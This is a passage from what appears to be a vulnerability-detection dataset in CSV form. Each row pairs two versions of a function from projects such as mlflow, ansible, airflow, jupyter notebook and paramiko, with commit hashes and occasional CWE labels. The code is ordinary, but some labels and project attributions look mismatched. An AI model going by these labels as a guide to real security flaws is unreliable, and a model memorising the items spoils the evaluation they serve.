            error_code=INVALID_PARAMETER_VALUE,
        )

    tags = _build_tags(
        model_uri=model_uri,
        model_python_version=model_python_version,
        user_tags=tags,
        run_id=run_id_tag,
    )

    if service_name is None:
        service_name = _get_mlflow_azure_name(run_id)
    if model_name is None:
        model_name = _get_mlflow_azure_name(run_id)

    with TempDir(chdr=True) as tmp:
        model_directory_path = tmp.path(""model"")
        tmp_model_path = os.path.join(
            model_directory_path,
            _copy_file_or_tree(src=absolute_model_path, dst=model_directory_path),
        )

        registered_model = None
        azure_model_id = None

        # If we are passed a 'models' uri, we will attempt to extract a name and version which
        # can be used to retreive an AzureML Model. This will ignore stage based model uris,
        # which is alright until we have full deployment plugin support.
        #
        # If instead we are passed a 'runs' uri while the user is using the AzureML tracking
        # and registry stores, we will be able to register the model on their behalf using
        # the AzureML plugin, which will maintain lineage between the model and the run that
        # produced it. This returns an MLFlow Model object however, so we'll still need the
        # name and ID in order to retrieve the AzureML Model object which is currently
        # needed to deploy.
        if model_uri.startswith(""models:/""):
            m_name = model_uri.split(""/"")[-2]
            m_version = int(model_uri.split(""/"")[-1])
            azure_model_id = ""{}:{}"".format(m_name, m_version)
        elif (
            model_uri.startswith(""runs:/"")
            and get_tracking_uri().startswith(""azureml"")
            and get_registry_uri().startswith(""azureml"")
        ):
            mlflow_model = mlflow_register_model(model_uri, model_name)
            azure_model_id = ""{}:{}"".format(mlflow_model.name, mlflow_model.version)

            _logger.info(
                ""Registered an Azure Model with name: `%s` and version: `%s`"",
                registered_model.name,
                registered_model.version,
            )

        # Attempt to retrieve an AzureML Model object which we intend to deploy
        if azure_model_id:
            try:
                registered_model = AzureModel(workspace, id=azure_model_id)
                _logger.info(""Found registered model in AzureML with ID '%s'"", azure_model_id)
            except Exception as e:  # pylint: disable=broad-except
                _logger.info(
                    ""Unable to find model in AzureML with ID '%s', will register the model.\n""
                    ""Exception was: %s"",
                    azure_model_id,
                    e,
                )

        # If we have not found a registered model by this point, we will register it on the users'
        # behalf. It is required for a Model to be registered in some way with Azure in order to
        # deploy to Azure, so this is expected for Azure users.
        if not registered_model:
            registered_model = AzureModel.register(
                workspace=workspace, model_path=tmp_model_path, model_name=model_name, tags=tags
            )

            _logger.info(
                ""Registered an Azure Model with name: `%s` and version: `%s`"",
                registered_model.name,
                registered_model.version,
            )

        # Create an execution script (entry point) for the image's model server. Azure ML requires
        # the container's execution script to be located in the current working directory during
        # image creation, so we create the execution script as a temporary file in the current
        # working directory.
        execution_script_path = tmp.path(""execution_script.py"")
        _create_execution_script(output_path=execution_script_path, azure_model=registered_model)

        environment = None
        if pyfunc.ENV in model_pyfunc_conf:
            environment = AzureEnvironment.from_conda_specification(
                _get_mlflow_azure_name(run_id),
                os.path.join(tmp_model_path, model_pyfunc_conf[pyfunc.ENV]),
            )
        else:
            environment = AzureEnvironment(_get_mlflow_azure_name(run_id))

        if mlflow_home is not None:
            path = tmp.path(""dist"")
            _logger.info(""Bulding temporary MLFlow wheel in %s"", path)
            wheel = _create_mlflow_wheel(mlflow_home, path)
            whl_url = AzureEnvironment.add_private_pip_wheel(
                workspace=workspace, file_path=wheel, exist_ok=True
            )
            environment.python.conda_dependencies.add_pip_package(whl_url)
        else:
            environment.python.conda_dependencies.add_pip_package(
                ""mlflow=={}"".format(mlflow_version)
            )

        # AzureML requires azureml-defaults to be installed to include
        # flask for the inference server.
        environment.python.conda_dependencies.add_pip_package(
            ""azureml-defaults=={}"".format(AZUREML_VERSION)
        )

        inference_config = InferenceConfig(
            entry_script=execution_script_path, environment=environment
        )

        if deployment_config is not None:
            if deployment_config.tags is not None:
                # We want more narrowly-scoped tags to win on merge
                tags.update(deployment_config.tags)
            deployment_config.tags = tags
        else:
            deployment_config = AciWebservice.deploy_configuration(tags=tags)

        # Finally, deploy the AzureML Model object to a webservice, and return back
        webservice = AzureModel.deploy(
            workspace=workspace,
            name=service_name,
            models=[registered_model],
            inference_config=inference_config,
            deployment_config=deployment_config,
        )
        _logger.info(""Deploying an Azure Webservice with name: `%s`"", webservice.name)
        if synchronous:
            webservice.wait_for_deployment(show_output=True)
        return webservice, registered_model"
functions_for_ansible_with_cwe.csv,UNKNOWN,UNKNOWN,lib/ansible/module_utils/junos.py,0,"def get_config(self, config_format=""text""):
        if config_format not in SUPPORTED_CONFIG_FORMATS:
            self.raise_exc(msg='invalid config format.  Valid options are '
                               '%s' % ', '.join(SUPPORTED_CONFIG_FORMATS))

        ele = self.rpc('get_configuration', output=config_format)

        if config_format == 'text':
            return unicode(ele.text).strip()
        else:
            return ele",,ansible/ansible,6be2f0bdeda41ba888bdb1e69afa5b588f29008a,"def get_config(self, config_format=""text""):
        if config_format not in SUPPORTED_CONFIG_FORMATS:
            self.raise_exc(msg='invalid config format.  Valid options are '
                               '%s' % ', '.join(SUPPORTED_CONFIG_FORMATS))

        ele = self.rpc('get_configuration', output=config_format)

        if config_format == 'text':
            return str(ele.text).strip()
        else:
            return ele"
functions_for_ansible_with_cwe.csv,UNKNOWN,UNKNOWN,lib/ansible/galaxy/dependency_resolution/dataclasses.py,0,"def from_dir_path(cls, dir_path, art_mgr):
        """"""Make collection from an directory with metadata.""""""
        b_dir_path = to_bytes(dir_path, errors='surrogate_or_strict')
        if not _is_collection_dir(b_dir_path):
            display.warning(
                u""Collection at '{path!s}' does not have a {manifest_json!s} ""
                u'file, nor has it {galaxy_yml!s}: cannot detect version.'.
                format(
                    galaxy_yml=to_text(_GALAXY_YAML),
                    manifest_json=to_text(_MANIFEST_JSON),
                    path=to_text(dir_path, errors='surrogate_or_strict'),
                ),
            )
            raise ValueError(
                '`dir_path` argument must be an installed or a source'
                ' collection directory.',
            )

        tmp_inst_req = cls(None, None, dir_path, 'dir', None)
        req_version = art_mgr.get_direct_collection_version(tmp_inst_req)
        try:
            req_name = art_mgr.get_direct_collection_fqcn(tmp_inst_req)
        except TypeError as err:
            # Looks like installed/source dir but isn't: doesn't have valid metadata.
            display.warning(
                u""Collection at '{path!s}' has a {manifest_json!s} ""
                u""or {galaxy_yml!s} file but it contains invalid metadata."".
                format(
                    galaxy_yml=to_text(_GALAXY_YAML),
                    manifest_json=to_text(_MANIFEST_JSON),
                    path=to_text(dir_path, errors='surrogate_or_strict'),
                ),
            )
            raise ValueError(
                ""Collection at '{path!s}' has invalid metadata"".
                format(path=to_text(dir_path, errors='surrogate_or_strict'))
            ) from err

        return cls(req_name, req_version, dir_path, 'dir', None)",,ansible/ansible,d6555399b87cbfda82e1999fcff2794ca8d4bee0,"def from_dir_path(cls, dir_path, art_mgr):
        """"""Make collection from an directory with metadata.""""""
        b_dir_path = to_bytes(dir_path, errors='surrogate_or_strict')
        if not _is_collection_dir(b_dir_path):
            display.warning(
                u""Collection at '{path!s}' does not have a {manifest_json!s} ""
                u'file, nor has it {galaxy_yml!s}: cannot detect version.'.
                format(
                    galaxy_yml=to_text(_GALAXY_YAML),
                    manifest_json=to_text(_MANIFEST_JSON),
                    path=to_text(dir_path, errors='surrogate_or_strict'),
                ),
            )
            raise ValueError(
                '`dir_path` argument must be an installed or a source'
                ' collection directory.',
            )

        tmp_inst_req = cls(None, None, dir_path, 'dir', None)
        req_name = art_mgr.get_direct_collection_fqcn(tmp_inst_req)
        req_version = art_mgr.get_direct_collection_version(tmp_inst_req)

        return cls(req_name, req_version, dir_path, 'dir', None)"
,UNKNOWN,UNKNOWN,tests/api_connexion/schemas/test_dag_schema.py,1,"def test_serialize_test_dag_detail_schema(url_safe_serializer):
    dag = DAG(
        dag_id=""test_dag"",
        start_date=datetime(2020, 6, 19),
        doc_md=""docs"",
        orientation=""LR"",
        default_view=""duration"",
        params={""foo"": 1},
        tags=[""example1"", ""example2""],
    )
    schema = DAGDetailSchema()

    expected = {
        ""catchup"": True,
        ""concurrency"": 16,
        ""max_active_tasks"": 16,
        ""dag_id"": ""test_dag"",
        ""dag_run_timeout"": None,
        ""default_view"": ""duration"",
        ""description"": None,
        ""doc_md"": ""docs"",
        ""fileloc"": __file__,
        ""file_token"": url_safe_serializer.dumps(__file__),
        ""is_active"": None,
        ""is_paused"": None,
        ""is_subdag"": False,
        ""orientation"": ""LR"",
        ""owners"": [],
        ""params"": {
            ""foo"": {
                ""__class"": ""airflow.models.param.Param"",
                ""value"": 1,
                ""description"": None,
                ""schema"": {},
            }
        },
        ""schedule_interval"": {""__type"": ""TimeDelta"", ""days"": 1, ""seconds"": 0, ""microseconds"": 0},
        ""start_date"": ""2020-06-19T00:00:00+00:00"",
        ""tags"": [{""name"": ""example1""}, {""name"": ""example2""}],
        ""template_searchpath"": None,
        ""timezone"": ""Timezone('UTC')"",
        ""max_active_runs"": 16,
        ""pickle_id"": None,
        ""end_date"": None,
        ""is_paused_upon_creation"": None,
        ""render_template_as_native_obj"": False,
    }
    obj = schema.dump(dag)
    expected.update({""last_parsed"": obj[""last_parsed""]})
    assert obj == expected",CWE-703,apache/airflow,e8f62e8ee56519459d8282dadb1d8c198ea5b9f5,"def test_serialize_test_dag_detail_schema(url_safe_serializer):
    dag = DAG(
        dag_id=""test_dag"",
        start_date=datetime(2020, 6, 19),
        doc_md=""docs"",
        orientation=""LR"",
        default_view=""duration"",
        params={""foo"": 1},
        tags=[""example1"", ""example2""],
    )
    schema = DAGDetailSchema()

    expected = {
        ""catchup"": True,
        ""concurrency"": 16,
        ""max_active_tasks"": 16,
        ""dag_id"": ""test_dag"",
        ""dag_run_timeout"": None,
        ""default_view"": ""duration"",
        ""description"": None,
        ""doc_md"": ""docs"",
        ""fileloc"": __file__,
        ""file_token"": url_safe_serializer.dumps(__file__),
        ""is_active"": None,
        ""is_paused"": None,
        ""is_subdag"": False,
        ""orientation"": ""LR"",
        ""owners"": [],
        ""params"": {
            ""foo"": {
                ""__class"": ""airflow.models.param.Param"",
                ""value"": 1,
                ""description"": None,
                ""schema"": {},
            }
        },
        ""schedule_interval"": {""__type"": ""TimeDelta"", ""days"": 1, ""seconds"": 0, ""microseconds"": 0},
        ""start_date"": ""2020-06-19T00:00:00+00:00"",
        ""tags"": [{""name"": ""example1""}, {""name"": ""example2""}],
        ""timezone"": ""Timezone('UTC')"",
        ""max_active_runs"": 16,
        ""pickle_id"": None,
        ""end_date"": None,
        ""is_paused_upon_creation"": None,
        ""render_template_as_native_obj"": False,
    }
    obj = schema.dump(dag)
    expected.update({""last_parsed"": obj[""last_parsed""]})
    assert obj == expected"
functions_for_w3af_with_cwe.csv,UNKNOWN,UNKNOWN,lib/core/convert.py,0,"def urlencode(value, safe=""%&="", convall=False, limit=False):
    if conf.direct or PLACE.SOAP in conf.paramDict:
        return value

    count = 0
    result = None if value is None else """"

    if value:
        if convall or safe is None:
            safe = """"

        # corner case when character % really needs to be
        # encoded (when not representing url encoded char)
        # except in cases when tampering scripts are used
        if all(map(lambda x: '%' in x, [safe, value])) and not kb.tamperFunctions:
            value = re.sub(""%(?![0-9a-fA-F]{2})"", ""%25"", value)

        while True:
            result = urllib.quote(utf8encode(value), safe)

            if limit and len(result) > URLENCODE_CHAR_LIMIT:
                if count >= len(URLENCODE_FAILSAFE_CHARS):
                    break

                while count < len(URLENCODE_FAILSAFE_CHARS):
                    safe += URLENCODE_FAILSAFE_CHARS[count]
                    count += 1
                    if safe[-1] in value:
                        break
            else:
                break

    return result",,andresriancho/w3af,60146481afa8a2364718a4cfdbf2c5f8a0fefab7,"def urlencode(value, safe=""%&="", convall=False, limit=False):
    if conf.direct or PLACE.SOAP in conf.paramDict:
        return value

    count = 0
    result = None if value is None else """"

    if value:
        if convall or safe is None:
            safe = """"

        # corner case when character % really needs to be
        # encoded (when not representing url encoded char)
        # except in cases when tampering scripts are used
        if all(map(lambda x: '%' in x, [safe, value])) and not kb.tamperFunctions:
            value = re.sub(""%(?![0-9a-fA-F]{2})"", ""%25"", value, re.DOTALL | re.IGNORECASE)

        while True:
            result = urllib.quote(utf8encode(value), safe)

            if limit and len(result) > URLENCODE_CHAR_LIMIT:
                if count >= len(URLENCODE_FAILSAFE_CHARS):
                    break

                while count < len(URLENCODE_FAILSAFE_CHARS):
                    safe += URLENCODE_FAILSAFE_CHARS[count]
                    count += 1
                    if safe[-1] in value:
                        break
            else:
                break

    return result"
functions_for_jupyter_with_cwe.csv,UNKNOWN,UNKNOWN,notebook/services/contents/filemanager.py,0,"def delete_file(self, path):
        """"""Delete file at path.""""""
        path = path.strip('/')
        os_path = self._get_os_path(path)
        rm = os.unlink
        
        if is_hidden(os_path, self.root_dir) and not self.allow_hidden:
            raise web.HTTPError(400, f'Cannot delete file or directory {os_path!r}')

        four_o_four = ""file or directory does not exist: %r"" % path

        if not self.exists(path):
            raise web.HTTPError(404, four_o_four)

        def is_non_empty_dir(os_path):
            if os.path.isdir(os_path):
                # A directory containing only leftover checkpoints is
                # considered empty.
                cp_dir = getattr(self.checkpoints, 'checkpoint_dir', None)
                if set(os.listdir(os_path)) - {cp_dir}:
                    return True

            return False

        if self.delete_to_trash:
            if sys.platform == 'win32' and is_non_empty_dir(os_path):
                # send2trash can really delete files on Windows, so disallow
                # deleting non-empty files. See Github issue 3631.
                raise web.HTTPError(400, f'Directory {os_path} not empty')
            try:
                self.log.debug(""Sending %s to trash"", os_path)
                send2trash(os_path)
                return
            except TrashPermissionError as e:
                self.log.warning(""Skipping trash for %s, %s"", os_path, e)

        if os.path.isdir(os_path):
            # Don't permanently delete non-empty directories.
            if is_non_empty_dir(os_path):
                raise web.HTTPError(400, f'Directory {os_path} not empty')
            self.log.debug(""Removing directory %s"", os_path)
            with self.perm_to_403():
                shutil.rmtree(os_path)
        else:
            self.log.debug(""Unlinking file %s"", os_path)
            with self.perm_to_403():
                rm(os_path)",,jupyter/notebook,e9e5a93dc8b485559941f59e7cfe7a17f8e82e14,"def delete_file(self, path):
        """"""Delete file at path.""""""
        path = path.strip('/')
        os_path = self._get_os_path(path)
        rm = os.unlink
        
        four_o_four = ""file or directory does not exist: %r"" % path

        if not self.exists(path):
            raise web.HTTPError(404, four_o_four)

        if is_hidden(os_path, self.root_dir) and not self.allow_hidden:
            raise web.HTTPError(400, f'Cannot delete file or directory {os_path!r}')

        def is_non_empty_dir(os_path):
            if os.path.isdir(os_path):
                # A directory containing only leftover checkpoints is
                # considered empty.
                cp_dir = getattr(self.checkpoints, 'checkpoint_dir', None)
                if set(os.listdir(os_path)) - {cp_dir}:
                    return True

            return False

        if self.delete_to_trash:
            if sys.platform == 'win32' and is_non_empty_dir(os_path):
                # send2trash can really delete files on Windows, so disallow
                # deleting non-empty files. See Github issue 3631.
                raise web.HTTPError(400, f'Directory {os_path} not empty')
            try:
                self.log.debug(""Sending %s to trash"", os_path)
                send2trash(os_path)
                return
            except TrashPermissionError as e:
                self.log.warning(""Skipping trash for %s, %s"", os_path, e)

        if os.path.isdir(os_path):
            # Don't permanently delete non-empty directories.
            if is_non_empty_dir(os_path):
                raise web.HTTPError(400, f'Directory {os_path} not empty')
            self.log.debug(""Removing directory %s"", os_path)
            with self.perm_to_403():
                shutil.rmtree(os_path)
        else:
            self.log.debug(""Unlinking file %s"", os_path)
            with self.perm_to_403():
                rm(os_path)"
,UNKNOWN,UNKNOWN,tests/store/tracking/test_file_store.py,1,"def _create_root(self, root):
        self.test_root = os.path.join(root, ""test_file_store_%d"" % random_int())
        os.mkdir(self.test_root)
        self.experiments = [str(random_int(100, int(1e9))) for _ in range(3)]
        self.exp_data = {}
        self.run_data = {}
        # Include default experiment
        self.experiments.append(FileStore.DEFAULT_EXPERIMENT_ID)
        for exp in self.experiments:
            # create experiment
            exp_folder = os.path.join(self.test_root, str(exp))
            os.makedirs(exp_folder)
            d = {""experiment_id"": exp, ""name"": random_str(), ""artifact_location"": exp_folder}
            self.exp_data[exp] = d
            write_yaml(exp_folder, FileStore.META_DATA_FILE_NAME, d)
            # add runs
            self.exp_data[exp][""runs""] = []
            for _ in range(2):
                run_id = uuid.uuid4().hex
                self.exp_data[exp][""runs""].append(run_id)
                run_folder = os.path.join(exp_folder, run_id)
                os.makedirs(run_folder)
                run_info = {
                    ""run_uuid"": run_id,
                    ""run_id"": run_id,
                    ""experiment_id"": exp,
                    ""user_id"": random_str(random_int(10, 25)),
                    ""status"": random.choice(RunStatus.all_status()),
                    ""start_time"": random_int(1, 10),
                    ""end_time"": random_int(20, 30),
                    ""tags"": [],
                    ""artifact_uri"": os.path.join(run_folder, FileStore.ARTIFACTS_FOLDER_NAME),
                }
                write_yaml(run_folder, FileStore.META_DATA_FILE_NAME, run_info)
                self.run_data[run_id] = run_info
                # tags
                os.makedirs(os.path.join(run_folder, FileStore.TAGS_FOLDER_NAME))
                # params
                params_folder = os.path.join(run_folder, FileStore.PARAMS_FOLDER_NAME)
                os.makedirs(params_folder)
                params = {}
                for _ in range(5):
                    param_name = random_str(random_int(10, 12))
                    param_value = random_str(random_int(10, 15))
                    param_file = os.path.join(params_folder, param_name)
                    with open(param_file, ""w"") as f:
                        f.write(param_value)
                    params[param_name] = param_value
                self.run_data[run_id][""params""] = params
                # metrics
                metrics_folder = os.path.join(run_folder, FileStore.METRICS_FOLDER_NAME)
                os.makedirs(metrics_folder)
                metrics = {}
                for _ in range(3):
                    metric_name = random_str(random_int(10, 12))
                    timestamp = int(time.time())
                    metric_file = os.path.join(metrics_folder, metric_name)
                    values = []
                    for _ in range(10):
                        metric_value = random_int(100, 2000)
                        timestamp += random_int(10000, 2000000)
                        values.append((timestamp, metric_value))
                        with open(metric_file, ""a"") as f:
                            f.write(""%d %d\n"" % (timestamp, metric_value))
                    metrics[metric_name] = values
                self.run_data[run_id][""metrics""] = metrics
                # artifacts
                os.makedirs(os.path.join(run_folder, FileStore.ARTIFACTS_FOLDER_NAME))",CWE-330,mlflow/mlflow,9277de75f0e2be3402cec1a219246e64700ce3df,"def _create_root(self, root):
        self.test_root = os.path.join(root, ""test_file_store_%d"" % random_int())
        os.mkdir(self.test_root)
        self.experiments = [str(random_int(100, int(1e9))) for _ in range(3)]
        self.exp_data = {}
        self.run_data = {}
        # Include default experiment
        self.experiments.append(FileStore.DEFAULT_EXPERIMENT_ID)
        for exp in self.experiments:
            # create experiment
            exp_folder = os.path.join(self.test_root, str(exp))
            os.makedirs(exp_folder)
            d = {""experiment_id"": exp, ""name"": random_str(), ""artifact_location"": exp_folder}
            self.exp_data[exp] = d
            write_yaml(exp_folder, FileStore.META_DATA_FILE_NAME, d)
            # add runs
            self.exp_data[exp][""runs""] = []
            for _ in range(2):
                run_id = uuid.uuid4().hex
                self.exp_data[exp][""runs""].append(run_id)
                run_folder = os.path.join(exp_folder, run_id)
                os.makedirs(run_folder)
                run_info = {
                    ""run_uuid"": run_id,
                    ""run_id"": run_id,
                    ""experiment_id"": exp,
                    ""user_id"": random_str(random_int(10, 25)),
                    ""status"": random.choice(RunStatus.all_status()),
                    ""start_time"": random_int(1, 10),
                    ""end_time"": random_int(20, 30),
                    ""tags"": [],
                    ""artifact_uri"": ""%s/%s"" % (run_folder, FileStore.ARTIFACTS_FOLDER_NAME),
                }
                write_yaml(run_folder, FileStore.META_DATA_FILE_NAME, run_info)
                self.run_data[run_id] = run_info
                # tags
                os.makedirs(os.path.join(run_folder, FileStore.TAGS_FOLDER_NAME))
                # params
                params_folder = os.path.join(run_folder, FileStore.PARAMS_FOLDER_NAME)
                os.makedirs(params_folder)
                params = {}
                for _ in range(5):
                    param_name = random_str(random_int(4, 12))
                    param_value = random_str(random_int(10, 15))
                    param_file = os.path.join(params_folder, param_name)
                    with open(param_file, ""w"") as f:
                        f.write(param_value)
                    params[param_name] = param_value
                self.run_data[run_id][""params""] = params
                # metrics
                metrics_folder = os.path.join(run_folder, FileStore.METRICS_FOLDER_NAME)
                os.makedirs(metrics_folder)
                metrics = {}
                for _ in range(3):
                    metric_name = random_str(random_int(6, 10))
                    timestamp = int(time.time())
                    metric_file = os.path.join(metrics_folder, metric_name)
                    values = []
                    for _ in range(10):
                        metric_value = random_int(100, 2000)
                        timestamp += random_int(10000, 2000000)
                        values.append((timestamp, metric_value))
                        with open(metric_file, ""a"") as f:
                            f.write(""%d %d\n"" % (timestamp, metric_value))
                    metrics[metric_name] = values
                self.run_data[run_id][""metrics""] = metrics
                # artifacts
                os.makedirs(os.path.join(run_folder, FileStore.ARTIFACTS_FOLDER_NAME))"
functions_for_ansible_with_cwe.csv,UNKNOWN,UNKNOWN,lib/ansible/plugins/callback/actionable.py,0,"def __init__(self):
        self.super_ref = super(CallbackModule, self)
        self.super_ref.__init__()
        self.last_task = None
        self.shown_title = False",,ansible/ansible,7662b06d5b339b3744d81f153d1845d8fbaadf0c,"def __init__(self):
        self.super_ref = super(CallbackModule, self)
        self.super_ref.__init__()
        self.last_task = None
        self.shown_title = False"
functions_for_sqlmap_with_cwe.csv,UNKNOWN,UNKNOWN,waf/sonicwall.py,0,"def detect(get_page):
    retval = False

    for vector in WAF_ATTACK_VECTORS:
        page, headers, _ = get_page(get=vector)
        retval = ""This request is blocked by the SonicWALL"" in (page or """")
        retval |= re.search(r""Web Site Blocked.+\bnsa_banner"", page or """", re.I) is not None
        retval |= re.search(r""SonicWALL"", headers.get(HTTP_HEADER.SERVER, """"), re.I) is not None
        if retval:
            break

    return retval",,sqlmapproject/sqlmap,db1fc621b5da06f33d8ac93445645ee8274dfbb6,"def detect(get_page):
    retval = False

    for vector in WAF_ATTACK_VECTORS:
        page, headers, _ = get_page(get=vector)
        retval = ""This request is blocked by the SonicWALL"" in (page or """")
        retval |= re.search(r""SonicWALL"", headers.get(HTTP_HEADER.SERVER, """"), re.I) is not None
        if retval:
            break

    return retval"
functions_for_paramiko_with_cwe.csv,UNKNOWN,UNKNOWN,tests/__init__.py,0,"def _decorate_with_locale(category, try_locales, test_method):
    """"""Decorate test_method to run after switching to a different locale.""""""

    def _test_under_locale(testself, *args, **kwargs):
        original = locale.setlocale(category)
        while try_locales:
            try:
                locale.setlocale(category, try_locales[0])
            except locale.Error:
                # Mutating original list is ok, setlocale would keep failing
                try_locales.pop(0)
            else:
                try:
                    return test_method(testself, *args, **kwargs)
                finally:
                    locale.setlocale(category, original)
        skipTest = getattr(testself, ""skipTest"", None)
        if skipTest is not None:
            skipTest(""No usable locales installed"")

    functools.update_wrapper(_test_under_locale, test_method)
    return _test_under_locale",,paramiko/paramiko,47cfed55575c21ac558e6d00a4ab1814406be651,"def _decorate_with_locale(category, try_locales, test_method):
    """"""Decorate test_method to run after switching to a different locale.""""""

    def _test_under_locale(testself, sftp):
        original = locale.setlocale(category)
        while try_locales:
            try:
                locale.setlocale(category, try_locales[0])
            except locale.Error:
                # Mutating original list is ok, setlocale would keep failing
                try_locales.pop(0)
            else:
                try:
                    return test_method(testself)
                finally:
                    locale.setlocale(category, original)
        skipTest = getattr(testself, ""skipTest"", None)
        if skipTest is not None:
            skipTest(""No usable locales installed"")

    functools.update_wrapper(_test_under_locale, test_method)
    return _test_under_locale"
,UNKNOWN,UNKNOWN,lib/ansible/modules/network/basics/uri.py,1,"def main():
    argument_spec = url_argument_spec()
    argument_spec.update(dict(
        dest = dict(required=False, default=None, type='path'),
        url_username = dict(required=False, default=None, aliases=['user']),
        url_password = dict(required=False, default=None, aliases=['password']),
        body = dict(required=False, default=None, type='raw'),
        body_format = dict(required=False, default='raw', choices=['raw', 'json']),
        method = dict(required=False, default='GET', choices=['GET', 'POST', 'PUT', 'HEAD', 'DELETE', 'OPTIONS', 'PATCH', 'TRACE', 'CONNECT', 'REFRESH']),
        return_content = dict(required=False, default='no', type='bool'),
        follow_redirects = dict(required=False, default='safe', choices=['all', 'safe', 'none', 'yes', 'no']),
        creates = dict(required=False, default=None, type='path'),
        removes = dict(required=False, default=None, type='path'),
        status_code = dict(required=False, default=[200], type='list'),
        timeout = dict(required=False, default=30, type='int'),
        headers = dict(required=False, type='dict', default={})
    ))

    module = AnsibleModule(
        argument_spec=argument_spec,
        check_invalid_arguments=False,
        add_file_common_args=True
    )

    url  = module.params['url']
    body = module.params['body']
    body_format = module.params['body_format'].lower()
    method = module.params['method']
    dest = module.params['dest']
    return_content = module.params['return_content']
    creates = module.params['creates']
    removes = module.params['removes']
    status_code = [int(x) for x in list(module.params['status_code'])]
    socket_timeout = module.params['timeout']

    dict_headers = module.params['headers']

    if body_format == 'json':
        # Encode the body unless its a string, then assume it is preformatted JSON
        if not isinstance(body, basestring):
            body = json.dumps(body)
        dict_headers['Content-Type'] = 'application/json'

    # Grab all the http headers. Need this hack since passing multi-values is
    # currently a bit ugly. (e.g. headers='{""Content-Type"":""application/json""}')
    for key, value in six.iteritems(module.params):
        if key.startswith(""HEADER_""):
            skey = key.replace(""HEADER_"", """")
            dict_headers[skey] = value

    if creates is not None:
        # do not run the command if the line contains creates=filename
        # and the filename already exists.  This allows idempotence
        # of uri executions.
        if os.path.exists(creates):
            module.exit_json(stdout=""skipped, since %s exists"" % creates,
                             changed=False, stderr=False, rc=0)

    if removes is not None:
        # do not run the command if the line contains removes=filename
        # and the filename do not exists.  This allows idempotence
        # of uri executions.
        if not os.path.exists(removes):
            module.exit_json(stdout=""skipped, since %s does not exist"" % removes, changed=False, stderr=False, rc=0)

    # Make the request
    resp, content, dest = uri(module, url, dest, body, body_format, method,
                              dict_headers, socket_timeout)
    resp['status'] = int(resp['status'])

    # Write the file out if requested
    if dest is not None:
        if resp['status'] == 304:
            changed = False
        else:
            write_file(module, url, dest, content)
            # allow file attribute changes
            changed = True
            module.params['path'] = dest
            file_args = module.load_file_common_arguments(module.params)
            file_args['path'] = dest
            changed = module.set_fs_attributes_if_different(file_args, changed)
        resp['path'] = dest
    else:
        changed = False

    # Transmogrify the headers, replacing '-' with '_', since variables dont
    # work with dashes.
    uresp = {}
    for key, value in six.iteritems(resp):
        ukey = key.replace(""-"", ""_"")
        uresp[ukey] = value

    try:
        uresp['location'] = absolute_location(url, uresp['location'])
    except KeyError:
        pass

    # Default content_encoding to try
    content_encoding = 'utf-8'
    if 'content_type' in uresp:
        content_type, params = cgi.parse_header(uresp['content_type'])
        if 'charset' in params:
            content_encoding = params['charset']
        u_content = unicode(content, content_encoding, errors='replace')
        if 'application/json' in content_type or 'text/json' in content_type:
            try:
                js = json.loads(u_content)
                uresp['json'] = js
            except:
                pass
    else:
        u_content = unicode(content, content_encoding, errors='replace')

    if resp['status'] not in status_code:
        uresp['msg'] = 'Status code was not %s: %s' % (status_code, uresp.get('msg', ''))
        module.fail_json(content=u_content, **uresp)
    elif return_content:
        module.exit_json(changed=changed, content=u_content, **uresp)
    else:
        module.exit_json(changed=changed, **uresp)",CWE-703,ansible/ansible,b48e65219b2e74a0348787a5fe954243acaeaa2c,"def main():
    argument_spec = url_argument_spec()
    argument_spec.update(dict(
        dest = dict(required=False, default=None, type='path'),
        url_username = dict(required=False, default=None, aliases=['user']),
        url_password = dict(required=False, default=None, aliases=['password']),
        body = dict(required=False, default=None, type='raw'),
        body_format = dict(required=False, default='raw', choices=['raw', 'json']),
        method = dict(required=False, default='GET', choices=['GET', 'POST', 'PUT', 'HEAD', 'DELETE', 'OPTIONS', 'PATCH', 'TRACE', 'CONNECT', 'REFRESH']),
        return_content = dict(required=False, default='no', type='bool'),
        follow_redirects = dict(required=False, default='safe', choices=['all', 'safe', 'none', 'yes', 'no']),
        creates = dict(required=False, default=None, type='path'),
        removes = dict(required=False, default=None, type='path'),
        status_code = dict(required=False, default=[200], type='list'),
        timeout = dict(required=False, default=30, type='int'),
        headers = dict(required=False, type='dict', default={})
    ))

    module = AnsibleModule(
        argument_spec=argument_spec,
        check_invalid_arguments=False,
        add_file_common_args=True
    )

    url  = module.params['url']
    body = module.params['body']
    body_format = module.params['body_format'].lower()
    method = module.params['method']
    dest = module.params['dest']
    return_content = module.params['return_content']
    creates = module.params['creates']
    removes = module.params['removes']
    status_code = [int(x) for x in list(module.params['status_code'])]
    socket_timeout = module.params['timeout']

    dict_headers = module.params['headers']

    if body_format == 'json':
        # Encode the body unless its a string, then assume it is preformatted JSON
        if not isinstance(body, basestring):
            body = json.dumps(body)
        dict_headers['Content-Type'] = 'application/json'

    # Grab all the http headers. Need this hack since passing multi-values is
    # currently a bit ugly. (e.g. headers='{""Content-Type"":""application/json""}')
    for key, value in module.params.iteritems():
        if key.startswith(""HEADER_""):
            skey = key.replace(""HEADER_"", """")
            dict_headers[skey] = value

    if creates is not None:
        # do not run the command if the line contains creates=filename
        # and the filename already exists.  This allows idempotence
        # of uri executions.
        if os.path.exists(creates):
            module.exit_json(stdout=""skipped, since %s exists"" % creates,
                             changed=False, stderr=False, rc=0)

    if removes is not None:
        # do not run the command if the line contains removes=filename
        # and the filename do not exists.  This allows idempotence
        # of uri executions.
        if not os.path.exists(removes):
            module.exit_json(stdout=""skipped, since %s does not exist"" % removes, changed=False, stderr=False, rc=0)

    # Make the request
    resp, content, dest = uri(module, url, dest, body, body_format, method,
                              dict_headers, socket_timeout)
    resp['status'] = int(resp['status'])

    # Write the file out if requested
    if dest is not None:
        if resp['status'] == 304:
            changed = False
        else:
            write_file(module, url, dest, content)
            # allow file attribute changes
            changed = True
            module.params['path'] = dest
            file_args = module.load_file_common_arguments(module.params)
            file_args['path'] = dest
            changed = module.set_fs_attributes_if_different(file_args, changed)
        resp['path'] = dest
    else:
        changed = False

    # Transmogrify the headers, replacing '-' with '_', since variables dont
    # work with dashes.
    uresp = {}
    for key, value in resp.iteritems():
        ukey = key.replace(""-"", ""_"")
        uresp[ukey] = value

    try:
        uresp['location'] = absolute_location(url, uresp['location'])
    except KeyError:
        pass

    # Default content_encoding to try
    content_encoding = 'utf-8'
    if 'content_type' in uresp:
        content_type, params = cgi.parse_header(uresp['content_type'])
        if 'charset' in params:
            content_encoding = params['charset']
        u_content = unicode(content, content_encoding, errors='replace')
        if 'application/json' in content_type or 'text/json' in content_type:
            try:
                js = json.loads(u_content)
